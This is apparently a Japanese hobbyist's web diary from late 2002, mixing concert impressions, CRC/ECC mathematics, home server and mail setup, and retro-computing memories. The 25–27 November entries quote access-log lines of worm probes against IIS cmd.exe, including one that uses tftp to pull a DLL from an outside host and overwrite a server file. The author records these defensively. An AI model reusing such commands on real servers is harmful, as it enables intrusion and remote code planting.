＃ Memories で復活した人って他にもいたのね(^^)。
覚え書きとお礼
最近この日記もリンクを張って下さったり、アンテナを立てて下さるありがたい方が何人かおられまして、検索ロボットがたくさん来るようになるとともに、運悪く(^^;検索して来られる方も増えて来ました。
それで、昨日教えて頂いた httpd-access.log の検索文字列をデコードする方法の覚え書き。
- PHP は HTML に埋め込んで PostgreSQL 等のフロントエンド用だと思っていたが、実は非常に汎用的でコマンドラインでも便利そうである。
- 人様の書いた正規表現は理解に時間がかかる(^^;。
- やっぱり perl を理解するのは不可能。
- command file を command | file とミスタイプされていたのはすぐに分かった(^^;。
うまく動作しました。どうもありがとうございます。
それにしてもぐーぐるで「タマ抜き少年」って(^^;。どれどれ、ごにょごにょ、... ほんとにヒットしますね。確かに 7月の日記に両方のキーワード入っているが。タマってハードディスクのことです。「森へおいで」も間違っていたし(^^;。
一言お断りを(^^)。このページは決して「少年大好き系」や「出会い系」サイトではありません。非常に真面目な(^^;「谷山浩子さん」「数学」「コンピュータ・計算・BSD」に関する話題の、日記謙おしゃべりページでございます。
＃検索で来ても役に立つ情報はないね。
＃いずれにしてもアクセス数が増えるのは歓迎なので非常によろしい。
続・数学屋さんの思考
次の本人以外は意味不明な CRC の説明を書いていて思いついたのですが、
- 一つ集合(ものの集まり)を固定すると、それを世界なり宇宙と考える。その「外側」のことは考えない。二つの要素だけの集合でも、それを考えているときは完結した宇宙。まあこれは恋人でもそうだろうけど。
- 次元を考えるときその幾何学的な意味をあんまり考えない場合が多い。形式的なのです。そりゃ、いくらなんでも４次元以上なんて分かりませんよ(^^;。
  やっぱり一般の人って、４次元とかそれ以上の次元でしかも曲がっているなんて言われると、一生懸命空間的なイメージを考えて、分からなーいと悩むのだと思う。実はそんな難しいことは考えない方が良い場合が多いし、考えても分からないのです(^^)。
それで疑問なのは、数学や物理が特に得意ではなくても、 SF や宇宙の話が大好きという方はたくさんいらっしゃると思うのです。そういう話ともなれば、当然宇宙全体の構造とか、ブラックホール等の話が出てくるに違いないのですが、どういうイメージなのでしょうか。数学屋さんだと割とドライに「多様体」、つまり「高次元の幾何学的実体」と考えると思うのですが。普通はどんなイメージなんでしょうね。宇宙の「外側」はどうなってるのかとか。宇宙は開いているか閉じているかとか。ビッグバンやブラックホールの中心のイメージとか。
ちなみに「宇宙の外側」というのは観測不可能なので、わたしが若いころは「考えることが無意味」とされていましたが、最近はそうでないようですね。インフレーションによる観測不可能な部分、この宇宙と位相的に切り放された部分、並行宇宙等真面目な研究対象となっているようです。
CRC の動作原理
まず {0,1} だけからなる「ふたり」だけの世界 GF(2) を考えます。 GF(2) では自然な加法・乗法が定義できます。 1 + 1 = 0 とする以外は普通の足し算、掛け算とおんなじです。この世界では 2 = 0 なのです。この上での多項式全体を考えるのですが、この多項式全体の世界を GF(2)[X] と記述します。ちなみに GF(2)[X] は GF(2) 上無限次元(^^;。
p(X) を GF(2)[X] 上の 16次既約多項式とします。既約というのは、
```
  p(X) = u(X)v(X) の場合 u(X),v(X) のいずれかは定数。
  この場合、定数は 0,1 のいずれかということ。
```
今 f(X),g(X) が GF(2)[X] に属する多項式で次の条件を満たすと仮定します。
```
  g(X)-f(X) は (X^m)h(X)  の形をしている。ただし h(X) は 15次以下。
```
このとき p(X) の既約性により (g(X)-f(X)) を p(X) で割った余りは 0 でないことが容易に分かります。これが CRC がバースト誤りに強いという理由です。
↑うそは書いてないが、面倒になってきて説明不足ですな(^^;。

2002年12月1日(日)

お受験
長女も二女も受験で、土曜も日曜も塾だ模擬試験だと忙しそうですな。なんか昔はもっとのんびりしていたと思うのだけど。それにしても受かるのかな。自分の受験の方が気楽だった。
ECC
どこかでちょっと ECC の話題(^^;が出ていたので。
通信などの世界では通信路でのエラーの発生の可能性を考えるのが前提です。そこでエラーが発生した場合の対処を考える必要があるのですが、エラー発生の検出・対処には通常次の方法が使われます。
- パリティによるエラーチェック。
- CRC によるエラーチェック。
- ECC によるエラー訂正。
パリティーチェックは事前に送信データをビット列で表現した時の 1 の個数が偶数か奇数かを記録して送信する方法で、受信側でも同様の個数計算をして 1 の個数を確認します。実装が簡単なのが利点ですが、エラーを見落とすことが多いのが欠点です。これを複数個並列に行う検査方法をチェックサムと言うことが多いです。
CRC は標数２のガロア体上の既約多項式での割り算の余りを利用する方法で、後日真面目に書きますが、16次の既約多項式(16bit で表現可能)を利用すると 16bit 以下のバースト誤りに対応でき、パリティー方式に比べてはるかにエラーの見落としの確率が低くなります。
ECC も CRC と同様にある種の条件を満たす既約多項式を使用して、次のご利益を持ちます。
- CRC と同様に 16bit 以下のバースト誤りを検出可能。
- 2bit 以下の誤りを検出可能。
- 1bit の誤りを検出して訂正可能。
それで、昨日頑張って(^^;書いた ECC エラー訂正のプログラムが ecc.h と ecc.c。興味のあるかたは適当に料理して下さい。詳しい説明は後日。
婿養子先募集中
倉橋さんという方、12月6日の一日だけ婿養子にして頂けないでしょうか。
↑月はじめからバカなこと書くなっちゅーの(^^;。

2002年11月30日(土)

ののちゃん
今日の朝日新聞朝刊の「ののちゃん」は何となく「そっくりハウス」。
Ver0.91 に昇格(^^;
谷山浩子さんの部屋に谷山浩子ファンへの101の質問の回答のリンクを追加。うたたさん、どうもありがとうございます。
そろそろ通勤したい
昨日と一昨日は外で仕事があったのですが、さすがにそろそろ普通に通勤して働きたいですね。一月からの会社はまた遠くにあるので、それはそれで文句言うのだろうけど。強制力がないと絶対外に出ないから運動不足にもなるし、外に出た日の方が体調いいです。こんなことになるなら広島や仙台も行けばよかった(^^;。
だけど死に体でも日記はかくのですなぁ。わたしもそうだけど。 ←優しく慰めてくれる人もいれば、こんな風にちゃちゃを入れるだけの人柄が悪い人もいるのよね(^^)。
ちょっとお遊びプログラムを書きたいので、今晩は徹夜なのだ。
最近の PC と通信事情
ノート PC のクロックが 1GHz でメモリーが 640Mbytes(^^;。全く夢のような速度と容量ですね。ちょっと前なら超弩級大型サーバー。しかも昔はうん千万円のコンピュータでなければ使えなかった UNIX が無料で使える。通信も ADSL で自宅はそこそこの速度。あと昨日ちょっと体験したけど、インターネットって本気出すと本当に速いのね(^^;。
ちなみに、PC 初期の致命的な勘違い。
- 8 bit のコンピュータは 1 バイトのメモリーしか持っていないと思っていた。それでは何も出来ないだろうととても馬鹿にしていた。
- 機械語でプログラムを上手に組めばいくらでも速度が出ると思っていた。 ←そんなら BASIC でも出るはずなんだが(^^;。
- CPU が遅いのは水晶の性能が悪いせいと思っていた。水晶ががんばって速いクロックを出すように改良すれば良いと思っていた。
最初に PC に出会ったのは、予備校でアルバイトをしていた時で、 TRS-80 + Floppy + Printer システムで 100万円以上したはず。面白そうだったので横にいた理科の先生に BASIC を教わって、最初に組んだプログラムはもちろん「素因数分解」なのよ。

2002年11月29日(金)

血迷い
谷山浩子ファンへの101の質問の回答。余計なこともたくさん書いてあります。Ver0.9beta 位にしておこう。あと、今回の猫森や(^～^;)さんの影響がかなり入っていますので、そのあたりはご容赦下さい。
もちろんお時間があるときで結構なので、内容に問題がなければリンク張ってください。一年おき位に更新して差分をとりましょう。
続・携帯へのメール転送
教えてくださった方がおられまして、てゆーか、教えてもらいたくて書いたのですが(^^;、やはり特定の IP アドレスに対して、過去にスパムがあったとかで au 側で受信拒絶を行っている様です。動的 IP アドレスでこれやられても困るんですが。
それで対処法としては次の通り。携帯へ自宅から直接投げていたのを、レンタルサーバー経由に変更。
```
メール ----> レンタルサーバー(バックアップ) ---> 中継 --->
   自宅メールサーバー ---> 携帯分中継 ---> レンタルサーバー --->
      au へ転送。
```
スパゲティですな。
Memories の見えない小鳥
両方一緒に聴いてみましたが、おんなじ曲とは思えないです(^^;。「DOLL HOUSE」と「ふたり」の間にMemories 版を挿入すると、なかなか自然な流れとなります。このバージョンで再チャレンジ。
この一ヶ月でたくさんの人に色々なことを教わりましたが、特に(^～^;)さんにはずいぶん音楽の聴き方を教わりました。インターネットって年齢の壁を取り除いてくれる面もあると思う。
今月はイベントだったから仕方がないけど、真面目な数学の話や、コンピュータ関連の話が少ないですね。別に自分の日記だからいいか。

2002年11月28日(木)

16～256
16～256 だとコンピューターマニアっぽい。数学好きとしては 17～257 の方がよいと思う。 65537 も可。
＃意味が分からない人はここをみてね。

突然出来なくなった携帯への転送

変てこと推測されるメールとメーリングリストから以外のメールは、自宅メールサーバー経由で携帯に転送される様にしているのですが、

-------------------------------------------------------------------------
Subject: Returned mail: see transcript for details
From: Mail Delivery Subsystem 
To: 
Date: Wed, 27 Nov 2002 15:14:16 +0900 (JST)
Auto-Submitted: auto-generated (failure)

The original message was received at Wed, 27 Nov 2002 15:14:06 +0900 (JST)
from localhost [127.0.0.1]

   ----- The following addresses had permanent fatal errors -----

    (reason: 554 : Client host rejected: Access denied)

   ----- Transcript of session follows -----
... while talking to lsean.ezweb.ne.jp.:
>>> DATA
<<< 554 : Client host rejected: Access denied
554 5.0.0 Service unavailable
<<< 554 Error: no valid recipients

Reporting-MTA: dns; evariste.dd.que.ne.jp
Received-From-MTA: DNS; localhost
Arrival-Date: Wed, 27 Nov 2002 15:14:06 +0900 (JST)

Final-Recipient: RFC822; xxxxxxxx@ezweb.ne.jp
Action: failed
Status: 5.0.0
Remote-MTA: DNS; lsean.ezweb.ne.jp
Diagnostic-Code: SMTP; 554 : Client host rejected: Access denied
Last-Attempt-Date: Wed, 27 Nov 2002 15:14:16 +0900 (JST)
-------------------------------------------------------------------------

という戻りメールが来て携帯に転送できなくなってしまいました。 ezweb が転送を拒絶していると思うのですが原因が分かりません。 ADSL のリンクを切ってアドレスを変えたら復旧したがなぜなのだろう。

＃メールの仕組みと DNS の仕組みが分かっていないのが悪いのだけど。

2002年11月27日(水)

ちょっといたずら
またやらなくていいことを。
```
/usr/local/www/data/c/winnt/system32/cmd.exe
```
というファイルを置いてみました(^^;。cmd.exe の内容は ls -1 / の出力。
```
xxx.xxx.xxx.xxx - - [26/Nov/2002:18:39:51 +0900]   \
    "GET /c/winnt/system32/cmd.exe?\/c+dir HTTP/1.0" 200 169 "-" "-"  \
xxx.xxx.xxx.xxx - - [26/Nov/2002:18:39:51 +0900]   \
    "GET /c/winnt/system32/cmd.exe?\/c+tftp%20-i%20xxx.xxx.xxx.xxx%20 \
    GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 \
    169 "-" "-"
```
というわけで tftp で dll を入れ替えさせようとするのですね。しかしこんなのにはまるサーバーって(^^;。sh を CGI にするのとおんなじですからね。
それにしてもしつこい。毎回ソースアドレスは変化するし、どうやってブロックすれば良いのだろう。ちなみに現在はポート 80 のフォワードは停止中。
お誕生日不一致
簡単な算数。 400人お客さんがいて全員特定の日がお誕生日でない確率は、
```
(364/365)^400 = 0.333  = 33.3% # 意外と多いね。
```
面倒なので大体独立としてこれが 3回連続するのは、
```
((364/365)^400)^3 = 0.037 = 3.7% # うーん(^^)。
```
姫ちゃんのリボン
昔、二女の誕生日プレゼントにリボンがメインの姫ちゃんグッズを買ったのと、本人も喜んで読んでいた記憶が(^^;。今でも「りぼん」は毎月供給されているのですが、最近読まなくなっちゃいました。少女まんがを読むには大変な集中力が必要なのだ。
# 少年サンデーを読まなくなったの 32歳。
# 「りぼん」を読まなくなったの 45歳(^^;。
# 「赤ずきんチャチャ」が終わっちゃっいましたからね。

ちなみに学生時代は「マーガレット」「少女フレンド」「少女コミック」を毎月読んでいたのです。萩尾望都さんの「１１人いる！」「ポーの一族」「トーマの心臓」好きでした。買いに行くのが一番問題だったわけで、有志３人の輪番制でしたね(^^;。

2002年11月26日(火)

アタック対策
例えば Document-Root/c/winnt/system32/cmd.exe という CGI(普通のファイルでいいか)を作って適当な出力をすると、敵はどんな反応を示すのだろうか。こんどやってみようかな。cmd.exe の出力に含まれているファイルを GET しにくるのかな。扇ってるだけで全く対策にならないな。
サーバーじゃない方(X24)も内部で使用するために httpd が動いているのですが、 httpd-access.log も見たらおんなじ様なのが来てますね。さすがに NAT 越えでこちらには来られないと思うので、AirH" を使っている時ですね。管理者がそれなりに神経質になるわけですねえ。
それにしても hitori-021125.mpg は極悪ファイルでしかもうるさい(^^;。
漂流楽団
「見えない小鳥」の行き場所が分からない。全体の中で一曲だけ浮き上がっている感じ。アレンジも平凡だし。
福島県喜多方市
えーん(;_;)。普段東京で地方の人よりはるかにいい思いをしているのだから仕方がないですね。
ちなみに会津若松に５年くらい住んでいて、喜多方で数学教えていました。このとき奧さまと知り合ったりしたのですが、人情味があって遊びに行くにはなかなかよいところです。喜多方ラーメンも美味しいし。住むにはちょっと「よそもの」感が強くて辛い面もありましたね。
雪と山に閉ざされていて、自分の好きなことに「のめりこむ」人が多いので、谷山さんのファン密度は高そうです。私も最初に谷山さんを知ったのは会津若松に住んでいた時です。
やっと分かった「近い」理由
某氏が教えて下さりまして。辞書の順序で、
```
おら
おり
おる
おれ
おろ
おわ
おん…「オンエアー大阪」
か
かあ
かい
かう
かえ
かお
かか…「かがみ」
かき
```
という感じで近かったそうです。どうもありがとうございます。
＃甲斐さんがいなくて良かった(^^;。

2002年11月25日(月)

新幹線の AirH"
確かに全然だめですね。新大阪駅と大阪駅が違うのを知らなくて一瞬はまりました。それはともかく、サーバー機と ThinkPad の位置づけが良く分からないのですが(^^;。デュアルか～。
アタック
ちょっと実験で自宅ノートサーバーの http ポートを外からアクセスできる様にしたら、一時間位で、
```
xxx.xxx.xxx.xxx - - [25/Nov/2002:17:25:05 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
xxx.xxx.xxx.xxx - - [25/Nov/2002:17:25:07 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
```
ってな感じのが３個所から１００回くらい。いやー、自分には関係ない世界だと思っていたけどアタックって多いのね(^^;。
谷山浩子さん大阪公演(ON AIR OSAKA)
~~「おんえあー」「お」と「え」に着目して、あいうえお順で「お」と「か」の距離が１、「え」と「が」の距離が２で合計３。~~←まだ理解していない。
わたくし「かがみ」の距離が一番近いということだったのです。実は本人もいまいち良く分かっていないのですが、とにかくリクエスト権をもらっちゃったんです(^^)。
↑やっぱり違う意味で近いというご指摘を頂きました。ご指摘自体もまだ理解できないので今度訂正します(^^;。
リクエストしようとした曲は、一瞬血迷って一昨日徹底的に聴いていた「ふたり」。だけど極度なマイナー感が会場全体を支配する雰囲気となったので、気を取り直して実際にリクエストしたのはこちら。←若干のねたばれなので見たくない人は見ないで下さい。←よく考えるとこっちの方がもっとマイナーかも。猫森通いしたし自分がはまっているからマイナー感がなかったのですね。
感想はねたばれ感がなくなる後日書きますが、これで一生の運を使い果たしたね。
コンサート自体はリクエストで喜びすぎて、自分の集中力が落ちちゃった(^^; 面もあるのですが、特に後半が美しかったと思います。
リクエスト権は自分では意味がわからなくて、ＡＱさんが「か」のつぎ「か」あたりの名前の人いませんか、とか言ってくれたので名乗りを上げたら取れちゃいました。ちなみに某 J 氏もリクエスト権を得ました。「眠りの森」強し。
つながり
数学の話ならとんでもない間違いは書かないし、たまに面白い話も書けるかも知れません。谷山さんの話しだと、とんでもない見当違いや間違いを書いたりいろいろあると思うのです。それでも谷山さんつながりの方がうれしいな。
数学教室というのは理学部にある必要は全くなく、文学部にあってもいいと思うのですが。
# だけど入試の配点が文学部配点だととっても困ったろうな(^^;。

2002年11月24日(日)

Concert Kimochi in TOKYO INTERNATIONAL FORUM
大阪が控えていてあんまり真面目に聴く気分でないのでちょっとだけ聴いてみました。「鳥籠姫」はアレンジがちょっと。ピアノだけでいいのに(^^;。２枚目の方がはるかに決まっていますね。初回限定特典48ページ写真集は非常によろしい(^^)。
本当は「漂流楽団」の幻想の世界に迷い込んで他のを聴く時間がないのです。わたしにとって今回の猫森って「ここにいるよ」+「漂流楽団」なのかも。
大阪日帰り遠征
持ってくもの。
- 行きの切符。
- 帰りの切符。
- チケット。これ忘れたら大笑い。
- 会場の地図。方向おんちだからないとまずい。
- 筆記用具。特にボールペン。アンケートのため。
- お財布。
- 携帯電話。いざというときのため。
- パソコン X24。帰りの新幹線で感想書き。行きは我慢して電池をセーブ。新幹線で AirH" は使い物にならないといううわさ。
- お菓子は 300円まで。
まるで小学生の遠足ですな。それでスケデュール。
- 家を出て新横浜へ。
- 新幹線に乗る。
- 大阪に着く。
- ちょっと食べる。
- コンサートに行く。音楽を聴く。感動する。
- 急いで新幹線に乗る。
- 新横浜から綱渡りで自宅。
それでは行ってきます。「とりあえず」は明日ゆっくり読ませていただきます。

2002年11月23日(土)

30008アクセス達成
もちろんここではないです。どうもおめでとうございます。ちょっとずれましたが記念のスナップショット。今日は人様のねたばかりです(^^;。
おすすめですよ＞かがみさん
「空色のメロディ」ですね。さすがに今年はもう CD は ~~買わない~~買えないので、来年少しずつ整備しましょう(^^)。幸い来年は今年みたいに谷山さんのアルバムを大量に購入しなくていいですから(^^;。
「メビウスの輪」というキーワードでちょっと前から感じていたこと。「漂流楽団」って例えば変奏曲の様に、個別の曲に着目しては本当の良さが分からないのであって、全体としての統一性を聞き取らなければいけないのではと思ってちょっと真面目に聴きなおしています。そのあたりをもっときちんと理解できたら何か書こうかなとは思っているのですけど。
FAXってのは汚いですなぁ
G4 Fax の仕様が複雑すぎて普及しなかったのも Fax の悲劇でしたね。委員会で仕様を決定しようとするとどうしてもものごとが複雑化して実現不可能な怪物ができることが多いですね。
もったいない自宅サーバー
順調に動作しているのですがどう考えても R30 はもったいないですね(^^;。必要なスペックとしては、NAT ルーター機能とメール置き場として使用できればあとは好きなように出来るので、今使っている激とろ不安定 NetBSD/sh3 箱ルーターを廃止して、
- 置場所、電気代と無停電の関係でノートまたは箱 PC でないと不可。
- CPU は 200MHz 位で十分。R30 は 1GHz(^^;。
- Memory は 64Mbytes で十分。R30 は 384Mbytes(^^;。
- X は必要ない。
- イーサネットの口は 2 つ必要。PCMCIA でも可。
- ハードディスクは 10Gbytes あれば十分。R30 は 30Gbytes。
上記のスペックのメールサーバー兼ルーターがあれば、例えば R30 に ssh で入るには ssh を 2 段にするか、ルーターで別ポートのフォワーディングを行えば良いので全く問題ないのです。最大の問題はもう予算がないということですね(^^;。
# mp3 サーバーとか、ファイルサーバーなど他の用途もあるから、
# そんなにもったいなくないかも。

2002年11月22日(金)

お礼
読んで下さってありがとうございます。いつかもっと心の整理がついたら落ち着いた完成バージョンをお送りしたいと思いますので宜しくお願い致します。
広島
広島に行かれる方、お気をつけて行ってらっしゃいませ(^^)。昨日フライングで行った人はいないのだろうか。
自宅ノートサーバー
実を言います月額 1,000円で契約しているレンタルサーバー(evariste.que.ne.jp、このページの場所) では Dynamic DNS サービスも行っていて、自宅の固定でない ADSL のアドレスを DNS に登録できて、サーバーをレンタルしている場合は無料なのです。これで 1,000円は本当に安いな。実はこれも一昨日まで知らなかったのです(^^;。
DNS 登録は APOP で特定のメールユーザーの照会を行うタイミングで行われます。 FreeBSD なら fetchmail を使えば簡単です。ちなみに fetchmail での定期的なメール照会は smtp auth のためにも使っているのです。自宅のホスト名は evariste.dd.que.ne.jp となります。
自宅に HTTP サーバーを移動する気は今のところ全くないのですが、メールサーバーを自宅に置こうかなと考えているのです。てゆーか、もう設定を変更して自宅に置いてあるのです。自宅のルーターは NAT なので、ルーターから特定のポート宛の IP パケットを今やまったく移動しなくなったノート R30 へ転送します。自宅サーバーの利点としては、
- 自宅に自由に ssh で入れる。外で忘れ物に気が付いたり、バックアップを行いたいとき便利。自宅マシンを CVS サーバーにするとか。
- 自宅マシンをメールサーバーにすれば実質無限のメールアドレスが作れる。家族用も万全。
- procmail で今まで以上に自由な設定ができる。
- 今までのメールアドレス宛を自宅に転送すれば良い。ただ .forward で単に転送すると自宅が落ちていたときなど一抹の不安があるので、procmail を併用してレンタルサーバー側でバックアップをとる。バックアップは crontab で一週間以上古いのから削除。
サーバーマシンはノートの R30 で、しかも家の中は無線(^^;。大丈夫かなぁ。世の中にはサーバーをデュアル CPU マシンにしようかと考えている景気のいい方もいらっしゃるようなのですが(^^)。だけど、ノートってデフォルトで無停電電源装置がついている利点はありますね。
もしアイネットディーがつぶれたらどうしよう。非常に依存度が高いのでとても面倒なことになりそうな。保守やサービス、コストパフォーマンスが非常に良いのです。それに FreeBSD だし。
安価でサービスが良いので皆さん使いましょう。
↑つぶれないように宣伝(^^)。
はまったのが /var/mail/ のモード。 root mail 775 でないと qpopper がうまく動かない様で。 /var/ の容量が少なめだったので /usr/ に移動して symbolic link にしたときモードを間違えて大はまりでした(^^;。
それから、DNS 関連が分からないことだらけで人様に聞きまくったのですが、さすがにプレゼンテーション層・アプリケーション層の勉強をもうすこししないとまずいですなぁ。
ところで R30 を Windows マシンにするとか言ってたのはどーしたの(=_=)。えへへへっ(^^)。

2002年11月21日(木)

お忙しい
なにが忙しいのかな(^^;。それよりまさか一日早く遠征にでるなんてことは。いやいや、本当にやりかねませんな。
反応
↓に反応して下さったのは当然分かるのですが、↑も反応してくれたのですよね(^^;。
もと数学少年の思考回路
昔数学を勉強していたことがあるのですが、普通の人はもちろん、他の理系の人との違いとしては全部ではないのですが、
- 自然数が好き。特に素数が好き。
- 無限が好き。
あたりが一番違うなと思うことが多いです。まず自然数や素数。
最近は暗号関係でにわか工学素数屋さんも増えてきましたが、ちょっと違うかなという感じがします。なんか素数の美しさを求めているというより、実用性を求めているというか。まぁ工学屋さんだからあたりまえですね。
素数って定義は簡単だし、分布もそれなりに規則性があって簡単に分かりそうなのですが、追い掛けて捕まえようとしても、もうほんのちょっとで捕まえきれない美少女のような趣きがありまして、なかなか蠱惑的な美しさなのであります。素数を拡張した概念である「素イデアル」には昔大変お世話になりました。
無限に関しての正式は分野は集合論だと思うのですが、これって普通の人に一番説明しにくいですね。高校生位までに習った「集合」とは全然無関係な世界と思って間違いないですから。例えば順序数に関して一般の人に説明するのは不可能ですし、実数の区間は非可算濃度である証明なんて簡単な対角線論法なのですが、それなりに理解する努力した経験がなければやはり分からないですよね。そもそも、対角線論法を一般の人に短時間で説明するのは無理ですね。無限の趣きは美少女という感じよりも、本当に超越した「宇宙」という感じで、概念や難しさとしては素数と同程度の深さなのでしょうが、到達不可能な趣きがなかなかよいのです(^^)。
こんなことを書いていますが、私自身もゲーデルの初期まではなんとか理解できたのですが、コーエンの forcing なんてちんぷんかんぷんです。
いずれにしても、素数や無限という概念は元数学少年を十分楽しませてくれるのですが、あんまりこんな話ばっかりしていると、一部の人以外には頭がおかしいと思われますね。いや本当におかしいのは分かってるのですが(^^;。

2002年11月20日(水)

選曲大賞
Ｃ２苦戦中(^^;。序盤は独走(^^;だったのに。投票はこちら。
アンコール
某氏が今回の猫森Ｂプログラム「七角錐の少女」の後の「小さな魚」は蛇足であると書かれていましたが全く同感なのです。本当のことを言いますと、Ｂの二日目は「七角錐の少女」が終わったところで席を立ちたかったのです。ただあの状態で席を立つのは雰囲気を乱すし、とっても失礼ですよね。まぁ仕方ないですね。
biglobe の AirH"
この日記を読んで下さっている方に教えて頂いたのですが、biglobe で ADSL の契約をしていると AirH" オプションは無料だそうなのです。いや～、知らなかった(^^;。 IIJ の mio プランに毎月 300円払っていたのです。それで試しに ppp の設定をしたら、あれれれ簡単につながっちゃった(^^)。
```
-----------------------------------------------------------------
biglobe:
 set phone 0570570635\#\#61
 set authname xxxxxxxx@biglobe.ne.jp
 set authkey xxxxxxxx
 set ifaddr 10.0.1.1/0 10.0.1.2/0 255.255.255.0 0.0.0.0 # 必要？
 add default HISADDR        # Add a (sticky) default route
-----------------------------------------------------------------
```
それで mio プランを解約するかと言いますと、もうしばらく様子を見ようかなと思っているのです。Biglobe って ADSL と AirH" の認証 ID とパスワードを全く同じのを使うのです。それで「認証サーバーの問題」で ADSL が使えなくなる事故が一度ありまして、その場合 AirH" だけが頼りとなるので共倒れは非常にまずいのです。
まあ、最近の散財をみると 300円なんて誤差みたいなもんだし(^^;。
そろそろ散財やめないと怒られるよな～(^^)。
0.9999999...
これを普通の人に見せると四人に一人位の人が 1 じゃないって言いますね。だけど、
```
0.333333333... = 1/3
```
は正しいと言うのです。両辺を 3倍すればちゃんと 1 になるのですが(^^)。1/3 は小学生の時具体的に割り算をして「無限に 3が続く」ということが体に染み込んでいるのでしょうね。0.99999... の方はいまいち具体性と到達感に欠けるのでしょう。

2002年11月19日(火)

また散財(^^;
ThinkPad 72W ACアダプター(5,300円)。
壊れると非常に困るし、持ち歩くたびにコンセントから抜いてカバンに入れるのが面倒なので。 56W の軽いのもあってそちらの方が良いのですが R30 では使えない様です。持ち歩き用には X24 についてきた 56W のを使用して、家では 72W のを使用すればいいでしょう。
```
 商品コード ｜　単価  |商品名
－－－－－－－－ －－＋－－－－＋－－－－＋－－－－－－－－－－－－－－－
PCCG-442    ｜￥3,500｜岩男潤子/岩男潤子コンサート「ｋｉｍｏｃｈｉ」ｉｎ
```
FreeBSD-5.0 Developer Preview #2
まだ今年の 12月リリースをあきらめていなかったのですね(^^;。正直言って自分としては FreeBSD-5 系列にアップするご利益がないので、現行の状態を維持したいのです。だけど 4 系列もだんだんサポートされなくなるでしょうし、困ったものですね。4 系列って Single CPU 対応の kernel としては「これ以上なんにもいりません」という感じですから。
FreeBSD も知名度で Linux に負けて、移植性では NetBSD より劣るので(ただし日立 sh 系への移植は完全に失敗している) Mac OS X 以外の分野でちょっと曲がり角感が強いですね。サーバーとしてのトータルの性能と安定性では群を抜いているとは思いますが。
WindowMaker
これが軽さと見栄えのバランスが一番良いのでは。日本語がちょっと変なのは実害ないと思うのですが。GNOME とか KDE は嫌い。
メモ
単なるメモです。だれも購入するなんて言ってません(^^;。
```
岩男潤子さん  favoriteSongs
岩男潤子さん  Entrance
```
全く評判が悪かった「七角錐の少女」ねた
いやー、正直いってこれほど反響がないとは(^^;。三ヶ月前に思いついて、出したいのをがまんして出すチャンスを狙って、しかもそれなりの文章で記述するのに三日もかけたのに。
確かに気違いじみた文章で書いてあるけど、数学的な厳密性をなるべく犠牲にしないで、しかも一般の人にも一般次元や無限次元、コンパクトの概念が理解できるように細部まで気を使ったつもりなんです(^^;。
「歩いても歩いてもたどりつけない君の家」という歌詞を聴いた瞬間に「むむっ、これはコンパクト空間でないからだな」と思いついたのがきっかけなのですが。
↑それが異常なんだって(^^;。
奧さまに見せたらやっぱり「七角錐の母線をばらして七次元空間を作る部分でもうだれも読んでくれるはずがない」そうで、やっぱり非常識すぎたかなぁ。
```
# なにげなく書いたことが意外と評判が良くて、
# 一生懸命考えて書いたことが全然だめという場合は多いですね。
# やっぱり雑念が入るとだめですなぁ。
```

2002年11月18日(月)

11月2日
しまった～。見落とした(^^;。
危ないとは思ったんです。彼が気がつかないわけないし～。それで気がついたら絶対にどこかに書くだろうし(^^)。
だけど全然自粛してないな。それにセロファンやぶいちゃったし。仕方ないから久しぶりにピアノで遊ぼうかな。いつものことですが、これは特にローカルねたです(^^;。
# 今日はたくさん反応を頂いている気がする(^^)。
岩男潤子さん
まずい。はまりつつある(^^;。
だけどいくらなんでもこれ以上レパートリーを増やすのはちょっと。やっぱり谷山浩子さん一筋(^^)。
鳥籠姫聴きたいな。←ほとぼりがさめたら(^^)。
編集したＣプロ二日目
あんまり真面目にではないけど聴いてみました。
- 「そっくり人形展覧会」のセリフはない方が良い。てゆーか、これオープニングとしては著しくまずい(^^;。
- 「時計館の殺人」はライブの方がはるかに良かった。
- 「ここは春の国」「静かに」「ただ風のために」は CD でもかなり気分良く聴けた。もともと好きな曲なんです。静か系(^^;←こんな系列あるのか、はほとんど例外無く好きですね。もちろんライブの方がはるかに浸れましたが。
- 「ここにいるよ」は岩男潤子さんの歌がとても美しいのですが、やはりご本人の歌で聴きたい。
という感じです。やはり単なるつぎはぎは無理がありますね(^^;。
岩男潤子さん乱入～。←会場がプロレスだったから仕方ないです。
TL/1
下記 TL/1 の引用はオリジナル投稿者の了解済です。
昨日某メーリングリストでちょっとしたプログラミング言語の話題がありまして、そこで TL/1 という文字が目に入ったのです。
TL/1 か～。懐かしいな。前にわたしが Pascal にはまってコンピュータの道に進んでしまったということを書きましたが、その前段階が TL/1 だったのです。これは PC8001(^^; ROM BASIC の環境で動いた本当のコンパイラでありまして、次の特徴があったのです。
- まず TL/1 コンパイラの 16進ダンプを雑誌 ASCII から一週間がかりで打ち込む(^^;。当時は雑誌に 16進のダンプリストが載っていてそれを手で打ち込んでいたのです。
- 大切にオーディオカセットに保存する。フロッピーを搭載しようとすると 50万円位お金がかかった時代でした。
- 以下は毎回の作業。
- オーディオカセットに入っている TL/1 コンパイラをロードする。
- 編集は ROM BASIC のエディタを使って TL/1 のプログラムを BASIC のコメントとして記述する。こんな感じ。
```
1000 'function sum;   % (^^; 関数名はあらかじめ宣言。
1010 'function sum(n);
1020 'var i,s;
1022 'begin
1025 '  s:=0;
1030 '  for i:=1 to n do
1040 '    s:=s+i;
1050 '  sum:=s
1060 'end;
1070 '
1080 'BEGIN
1090 '  writeln(sum(10))
1100 'END.
1110 '
```
- これは BASIC の SAVE コマンドでセーブできます。なんといっても BASIC ですから。TL/1 コンパイラはリストのコメントだけを切り出してコンパイルするのです。
- 言語としては上に書いたように、てゆーか、上も適当に思い出しているのでいいかげんなんですが、とにかく Pascal 風。完全な構造化言語。
- 変数は 8bit(^^;整数のみ。つまり -128 ～ 127 のみ表現。
- コンパイルの速度が異常に早い。コンパイルの指示を出すと上に書いたようなリストが出てくるのですが BASIC の LIST 命令とおんなじ位の速度。
- 実行速度は、データが 8bit 以下で入出力がなければ ROM BASIC の数十倍(^^)。
と整数が 8bit であることを除けば良いことだらけだったのです。なんといっても「構造化とはこう言うことなのか」と目を見開らかされる思いでした。BASIC のエディタのコメントを利用するというのも当時としてはなかなかのアイディアでした。なんせスタンドアロンのエディタなど発想さえも余りない時代でしたから。
